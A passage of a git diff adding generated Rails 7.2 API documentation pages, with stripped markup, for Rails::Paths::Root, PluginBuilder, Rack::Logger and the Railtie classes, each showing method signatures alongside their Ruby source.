Notice that when you add a path using add, the Path object created already contains the path with the same path value given to add. In some situations, you may not want this behavior, so you can give :with as option.

+ +
root.add "config/routes", with: "config/routes.rb"
+root["config/routes"].inspect # => ["config/routes.rb"]
+
+ +

The add method accepts the following options as arguments: eager_load, autoload, autoload_once, and glob.

+ +

Finally, the Path object also provides a few helpers:

+ +
root = Root.new "/rails"
+root.add "app/controllers"
+
+root["app/controllers"].expanded # => ["/rails/app/controllers"]
+root["app/controllers"].existent # => ["/rails/app/controllers"]
+
+ +

Check the Rails::Paths::Path documentation for more information.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + path
+ + + + +

Class Public methods

+ +
+

+ + new(path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 54
+      def initialize(path)
+        @path = path
+        @root = {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 69
+      def [](path)
+        @root[path]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(path, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 59
+      def []=(path, value)
+        glob = self[path] ? self[path].glob : nil
+        add(path, with: value, glob: glob)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add(path, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 64
+      def add(path, options = {})
+        with = Array(options.fetch(:with, path))
+        @root[path] = Path.new(self, path, with, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 85
+      def all_paths
+        values.tap(&:uniq!)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autoload_once() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 89
+      def autoload_once
+        filter_by(&:autoload_once?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autoload_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 97
+      def autoload_paths
+        filter_by(&:autoload?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 93
+      def eager_load
+        filter_by(&:eager_load?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + keys() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 77
+      def keys
+        @root.keys
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 101
+      def load_paths
+        filter_by(&:load_path?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + values() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 73
+      def values
+        @root.values
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + values_at(*list) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 81
+      def values_at(*list)
+        @root.values_at(*list)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/PluginBuilder.html b/src/7.2/classes/Rails/PluginBuilder.html new file mode 100644 index 0000000000..bb886e0af1 --- /dev/null +++ b/src/7.2/classes/Rails/PluginBuilder.html @@ -0,0 +1,1007 @@ +--- +title: Rails::PluginBuilder +layout: default +--- +
+ +
+
+ +
+ +

The plugin builder allows you to override elements of the plugin generator without being forced to reverse the operations of the default generator.

+ +

This allows you to override entire operations, like the creation of the Gemfile, README, or JavaScript files, without needing to know exactly what those operations do so you can create another template action.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
DUMMY_IGNORE_OPTIONS=%i[dev edge master template]
+ + + + + + + +

Instance Public methods

+ +
+

+ + app() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 20
+    def app
+      if mountable?
+        if api?
+          directory "app", exclude_pattern: %r{app/(views|helpers)}
+        else
+          directory "app"
+          empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
+        end
+
+        empty_directory_with_keep_file "app/models/concerns"
+        empty_directory_with_keep_file "app/controllers/concerns"
+        remove_dir "app/mailers" if options[:skip_action_mailer]
+        remove_dir "app/jobs" if options[:skip_active_job]
+      elsif full?
+        empty_directory_with_keep_file "app/models"
+        empty_directory_with_keep_file "app/controllers"
+        empty_directory_with_keep_file "app/models/concerns"
+        empty_directory_with_keep_file "app/controllers/concerns"
+        empty_directory_with_keep_file "app/mailers" unless options[:skip_action_mailer]
+        empty_directory_with_keep_file "app/jobs" unless options[:skip_active_job]
+
+        unless api?
+          empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
+          empty_directory_with_keep_file "app/helpers"
+          empty_directory_with_keep_file "app/views"
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assets_manifest() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 170
+    def assets_manifest
+      template "rails/engine_manifest.js", "app/assets/config/#{underscored_name}_manifest.js"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + bin() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 183
+    def bin
+      exclude_pattern = Regexp.union([(engine? ? /test\.tt/ : /rails\.tt/), (/rubocop/ if skip_rubocop?)].compact)
+      directory "bin", { exclude_pattern: exclude_pattern } do |content|
+        "#{shebang}\n" + content
+      end
+      chmod "bin", 0755 & ~File.umask, verbose: false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cifiles() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 69
+    def cifiles
+      empty_directory ".github/workflows"
+      template "github/ci.yml", ".github/workflows/ci.yml"
+      template "github/dependabot.yml", ".github/dependabot.yml"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + config() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 97
+    def config
+      template "config/routes.rb" if engine?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gemfile() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 53
+    def gemfile
+      template "Gemfile"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gemfile_entry() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 191
+    def gemfile_entry
+      return unless inside_application?
+
+      gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
+      if File.exist? gemfile_in_app_path
+        entry = %{\ngem "#{name}", path: "#{relative_path}"}
+        append_file gemfile_in_app_path, entry
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gemspec() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 61
+    def gemspec
+      template "%name%.gemspec"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_test_dummy(force = false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 122
+    def generate_test_dummy(force = false)
+      opts = options.transform_keys(&:to_sym).except(*DUMMY_IGNORE_OPTIONS)
+      opts[:force] = force
+      opts[:skip_brakeman] = true
+      opts[:skip_bundle] = true
+      opts[:skip_ci] = true
+      opts[:skip_git] = true
+      opts[:skip_hotwire] = true
+      opts[:skip_rubocop] = true
+      opts[:dummy_app] = true
+
+      invoke Rails::Generators::AppGenerator,
+        [ File.expand_path(dummy_path, destination_root) ], opts
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gitignore() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 65
+    def gitignore
+      template "gitignore", ".gitignore"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lib() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 85
+    def lib
+      template "lib/%namespaced_name%.rb"
+      template "lib/tasks/%namespaced_name%_tasks.rake"
+      template "lib/%namespaced_name%/version.rb"
+
+      if engine?
+        template "lib/%namespaced_name%/engine.rb"
+      else
+        template "lib/%namespaced_name%/railtie.rb"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + license() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 57
+    def license
+      template "MIT-LICENSE" unless inside_application?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rakefile() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 16
+    def rakefile
+      template "Rakefile"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readme() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 49
+    def readme
+      template "README.md"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rubocop() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 75
+    def rubocop
+      template "rubocop.yml", ".rubocop.yml"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stylesheets() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 174
+    def stylesheets
+      if mountable?
+        copy_file "rails/stylesheets.css",
+                  "app/assets/stylesheets/#{namespaced_name}/application.css"
+      elsif full?
+        empty_directory_with_keep_file "app/assets/stylesheets/#{namespaced_name}"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 101
+    def test
+      template "test/test_helper.rb"
+      template "test/%namespaced_name%_test.rb"
+
+      if engine?
+        empty_directory_with_keep_file "test/fixtures/files"
+        empty_directory_with_keep_file "test/controllers"
+        empty_directory_with_keep_file "test/mailers"
+        empty_directory_with_keep_file "test/models"
+        empty_directory_with_keep_file "test/integration"
+
+        unless api?
+          empty_directory_with_keep_file "test/helpers"
+        end
+
+        template "test/integration/navigation_test.rb"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_dummy_clean() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 157
+    def test_dummy_clean
+      inside dummy_path do
+        remove_file ".ruby-version"
+        remove_dir "db"
+        remove_file "Gemfile"
+        remove_file "lib/tasks"
+        remove_file "public/robots.txt"
+        remove_file "README.md"
+        remove_file "test"
+        remove_file "vendor"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_dummy_config() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 137
+    def test_dummy_config
+      template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
+
+      if mountable?
+        template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
+      end
+      if engine? && !api?
+        insert_into_file "#{dummy_path}/config/application.rb", indent(<<~RUBY, 4), after: /^\s*config\.load_defaults.*\n/
+
+          # For compatibility with applications that use this config
+          config.action_controller.include_all_helpers = false
+        RUBY
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_dummy_sprocket_assets() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 152
+    def test_dummy_sprocket_assets
+      template "rails/stylesheets.css",   "#{dummy_path}/app/assets/stylesheets/application.css", force: true
+      template "rails/dummy_manifest.js", "#{dummy_path}/app/assets/config/manifest.js", force: true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version_control() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/plugin/plugin_generator.rb, line 79
+    def version_control
+      if !options[:skip_git] && !options[:pretend]
+        run git_init_command, capture: options[:quiet], abort_on_failure: false
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Rack.html b/src/7.2/classes/Rails/Rack.html new file mode 100644 index 0000000000..825e4859fb --- /dev/null +++ b/src/7.2/classes/Rails/Rack.html @@ -0,0 +1,69 @@ +--- +title: Rails::Rack +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Rack/Logger.html b/src/7.2/classes/Rails/Rack/Logger.html new file mode 100644 index 0000000000..8a1b40ffd6 --- /dev/null +++ b/src/7.2/classes/Rails/Rack/Logger.html @@ -0,0 +1,317 @@ +--- +title: Rails::Rack::Logger +layout: default +--- +
+ +
+
+ +
+ +

Sets log tags, logs the request, calls the app, and flushes the logs.

+ +

Log tags (taggers) can be an Array containing: methods that the request object responds to, objects that respond to to_s or Proc objects that accept an instance of the request object.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, taggers = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/rack/logger.rb, line 15
+      def initialize(app, taggers = nil)
+        @app          = app
+        @taggers      = taggers || []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/rack/logger.rb, line 20
+      def call(env)
+        request = ActionDispatch::Request.new(env)
+
+        env["rails.rack_logger_tag_count"] = if logger.respond_to?(:push_tags)
+          logger.push_tags(*compute_tags(request)).size
+        else
+          0
+        end
+
+        call_app(request, env)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + call_app(request, env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/rack/logger.rb, line 33
+        def call_app(request, env) # :doc:
+          logger_tag_pop_count = env["rails.rack_logger_tag_count"]
+
+          instrumenter = ActiveSupport::Notifications.instrumenter
+          handle = instrumenter.build_handle("request.action_dispatch", { request: request })
+          handle.start
+
+          logger.info { started_request_message(request) }
+          status, headers, body = response = @app.call(env)
+          body = ::Rack::BodyProxy.new(body) { finish_request_instrumentation(handle, logger_tag_pop_count) }
+
+          if response.frozen?
+            [status, headers, body]
+          else
+            response[2] = body
+            response
+          end
+        rescue Exception
+          finish_request_instrumentation(handle, logger_tag_pop_count)
+          raise
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compute_tags(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/rack/logger.rb, line 64
+        def compute_tags(request) # :doc:
+          @taggers.collect do |tag|
+            case tag
+            when Proc
+              tag.call(request)
+            when Symbol
+              request.send(tag)
+            else
+              tag
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + started_request_message(request) + +

+ + +
+

Started GET β€œ/session/new” for 127.0.0.1 at 2012-09-26 14:51:42 -0700

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/rack/logger.rb, line 56
+        def started_request_message(request) # :doc:
+          sprintf('Started %s "%s" for %s at %s',
+            request.raw_request_method,
+            request.filtered_path,
+            request.remote_ip,
+            Time.now)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Railtie.html b/src/7.2/classes/Rails/Railtie.html new file mode 100644 index 0000000000..ab468490f2 --- /dev/null +++ b/src/7.2/classes/Rails/Railtie.html @@ -0,0 +1,767 @@ +--- +title: Rails::Railtie +layout: default +--- +
+ +
+
+ +
+ +

Rails::Railtie is the core of the Rails framework and provides several hooks to extend Rails and/or modify the initialization process.

+ +

Every major component of Rails (Action Mailer, Action Controller, Active Record, etc.) implements a railtie. Each of them is responsible for their own initialization. This makes Rails itself absent of any component hooks, allowing other components to be used in place of any of the Rails defaults.

+ +

Developing a Rails extension does not require implementing a railtie, but if you need to interact with the Rails framework during or after boot, then a railtie is needed.

+ +

For example, an extension doing any of the following would need a railtie:

+
  • +

    creating initializers

    +
  • +

    configuring a Rails framework for the application, like setting a generator

    +
  • +

    adding config.* keys to the environment

    +
  • +

    setting up a subscriber with ActiveSupport::Notifications

    +
  • +

    adding Rake tasks

    +
+ +

Creating a Railtie

+ +

To extend Rails using a railtie, create a subclass of Rails::Railtie. This class must be loaded during the Rails boot process, and is conventionally called MyNamespace::Railtie.

+ +

The following example demonstrates an extension which can be used with or without Rails.

+ +
# lib/my_gem/railtie.rb
+module MyGem
+  class Railtie < Rails::Railtie
+  end
+end
+
+# lib/my_gem.rb
+require "my_gem/railtie" if defined?(Rails::Railtie)
+
+ +

Initializers

+ +

To add an initialization step to the Rails boot process from your railtie, just define the initialization code with the initializer macro:

+ +
class MyGem::Railtie < Rails::Railtie
+  initializer "my_gem.configure_rails_initialization" do
+    # some initialization behavior
+  end
+end
+
+ +

If specified, the block can also receive the application object, in case you need to access some application-specific configuration, like middleware:

+ +
class MyGem::Railtie < Rails::Railtie
+  initializer "my_gem.configure_rails_initialization" do |app|
+    app.middleware.use MyGem::Middleware
+  end
+end
+
+ +

Finally, you can also pass :before and :after as options to initializer, in case you want to couple it with a specific step in the initialization process.

+ +

Configuration

+ +

Railties can access a config object which contains configuration shared by all railties and the application:

+ +
class MyGem::Railtie < Rails::Railtie
+  # Customize the ORM
+  config.app_generators.orm :my_gem_orm
+
+  # Add a to_prepare block which is executed once in production
+  # and before each request in development.
+  config.to_prepare do
+    MyGem.setup!
+  end
+end
+
+ +

Loading Rake Tasks and Generators

+ +

If your railtie has Rake tasks, you can tell Rails to load them through the method rake_tasks:

+ +
class MyGem::Railtie < Rails::Railtie
+  rake_tasks do
+    load "path/to/my_gem.tasks"
+  end
+end
+
+ +

By default, Rails loads generators from your load path. However, if you want to place your generators at a different location, you can specify in your railtie a block which will load them during normal generators lookup:

+ +
class MyGem::Railtie < Rails::Railtie
+  generators do
+    require "path/to/my_gem_generator"
+  end
+end
+
+ +

Since filenames on the load path are shared across gems, be sure that files you load through a railtie have unique names.

+ +

Run another program when the Rails server starts

+ +

In development, it’s very usual to have to run another process next to the Rails Server. In example you might want to start the Webpack or React server. Or maybe you need to run your job scheduler process like Sidekiq. This is usually done by opening a new shell and running the program from here.

+ +

Rails allow you to specify a server block which will get called when a Rails server starts. This way, your users don’t need to remember to have to open a new shell and run another program, making this less confusing for everyone. It can be used like this:

+ +
class MyGem::Railtie < Rails::Railtie
+  server do
+    WebpackServer.start
+  end
+end
+
+ +

Application and Engine

+ +

An engine is nothing more than a railtie with some initializers already set. And since Rails::Application is an engine, the same configuration described here can be used in both.

+ +

Be sure to look at the documentation of those specific classes for more information.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
ABSTRACT_RAILTIES=%w(Rails::Railtie Rails::Engine Rails::Application)
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + load_index
+ + + + +

Class Public methods

+ +
+

+ + abstract_railtie?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 172
+      def abstract_railtie?
+        ABSTRACT_RAILTIES.include?(name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configure(&block) + +

+ + +
+

Allows you to configure the railtie. This is the same method seen in Railtie::Configurable, but this module is no longer required for all subclasses of Railtie so we provide the class method here.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 190
+      def configure(&block)
+        instance.configure(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + console(&blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 156
+      def console(&blk)
+        register_block_for(:load_console, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generators(&blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 164
+      def generators(&blk)
+        register_block_for(:generators, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inherited(subclass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 198
+      def inherited(subclass)
+        subclass.increment_load_index
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance() + +

+ + +
+

Since Rails::Railtie cannot be instantiated, any methods that call instance are intended to be called only on subclasses of a Railtie.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 183
+      def instance
+        @instance ||= new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + railtie_name(name = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 176
+      def railtie_name(name = nil)
+        @railtie_name = name.to_s if name
+        @railtie_name ||= generate_railtie_name(self.name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rake_tasks(&blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 152
+      def rake_tasks(&blk)
+        register_block_for(:rake_tasks, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + runner(&blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 160
+      def runner(&blk)
+        register_block_for(:runner, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + server(&blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 168
+      def server(&blk)
+        register_block_for(:server, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subclasses() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 148
+      def subclasses
+        super.reject(&:abstract_railtie?).sort
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Class Protected methods

+ +
+

+ + increment_load_index() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 206
+        def increment_load_index
+          @@load_counter ||= 0
+          @load_index = (@@load_counter += 1)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + config() + +

+ + +
+

This is used to create the config object on Railties, an instance of Railtie::Configuration, that is used by Railties and Application to store related configuration.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie.rb, line 262
+    def config
+      @config ||= Railtie::Configuration.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Railtie/Configurable.html b/src/7.2/classes/Rails/Railtie/Configurable.html new file mode 100644 index 0000000000..b6fd46f18f --- /dev/null +++ b/src/7.2/classes/Rails/Railtie/Configurable.html @@ -0,0 +1,67 @@ +--- +title: Rails::Railtie::Configurable +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Railtie/Configurable/ClassMethods.html b/src/7.2/classes/Rails/Railtie/Configurable/ClassMethods.html new file mode 100644 index 0000000000..2efe7ddf69 --- /dev/null +++ b/src/7.2/classes/Rails/Railtie/Configurable/ClassMethods.html @@ -0,0 +1,218 @@ +--- +title: Rails::Railtie::Configurable::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + configure(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configurable.rb, line 25
+        def configure(&block)
+          class_eval(&block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inherited(base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configurable.rb, line 13
+        def inherited(base)
+          raise "You cannot inherit from a #{superclass.name} child"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configurable.rb, line 17
+        def instance
+          @instance ||= new
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to?(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configurable.rb, line 21
+        def respond_to?(*args)
+          super || instance.respond_to?(*args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Railtie/Configuration.html b/src/7.2/classes/Rails/Railtie/Configuration.html new file mode 100644 index 0000000000..ded4c9b7c9 --- /dev/null +++ b/src/7.2/classes/Rails/Railtie/Configuration.html @@ -0,0 +1,623 @@ +--- +title: Rails::Railtie::Configuration +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 8
+      def initialize
+        @@options ||= {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + after_initialize(&block) + +

+ + +
+

Last configurable block to run. Called after frameworks initialize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 70
+      def after_initialize(&block)
+        ActiveSupport.on_load(:after_initialize, yield: true, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_routes_loaded(&block) + +

+ + +
+

Called after application routes have been loaded.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 75
+      def after_routes_loaded(&block)
+        ActiveSupport.on_load(:after_routes_loaded, yield: true, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + app_generators() + +

+ + +
+

This allows you to modify application’s generators from Railties.

+ +

Values set on app_generators will become defaults for application, unless application overwrites them.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 47
+      def app_generators
+        @@app_generators ||= Rails::Configuration::Generators.new
+        yield(@@app_generators) if block_given?
+        @@app_generators
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + app_middleware() + +

+ + +
+

This allows you to modify the application’s middlewares from Engines.

+ +

All operations you run on the app_middleware will be replayed on the application once it is defined and the default_middlewares are created

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 39
+      def app_middleware
+        @@app_middleware ||= Rails::Configuration::MiddlewareStackProxy.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_configuration(&block) + +

+ + +
+

First configurable block to run. Called before any initializers are run.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 54
+      def before_configuration(&block)
+        ActiveSupport.on_load(:before_configuration, yield: true, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_eager_load(&block) + +

+ + +
+

Third configurable block to run. Does not run if config.eager_load set to false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
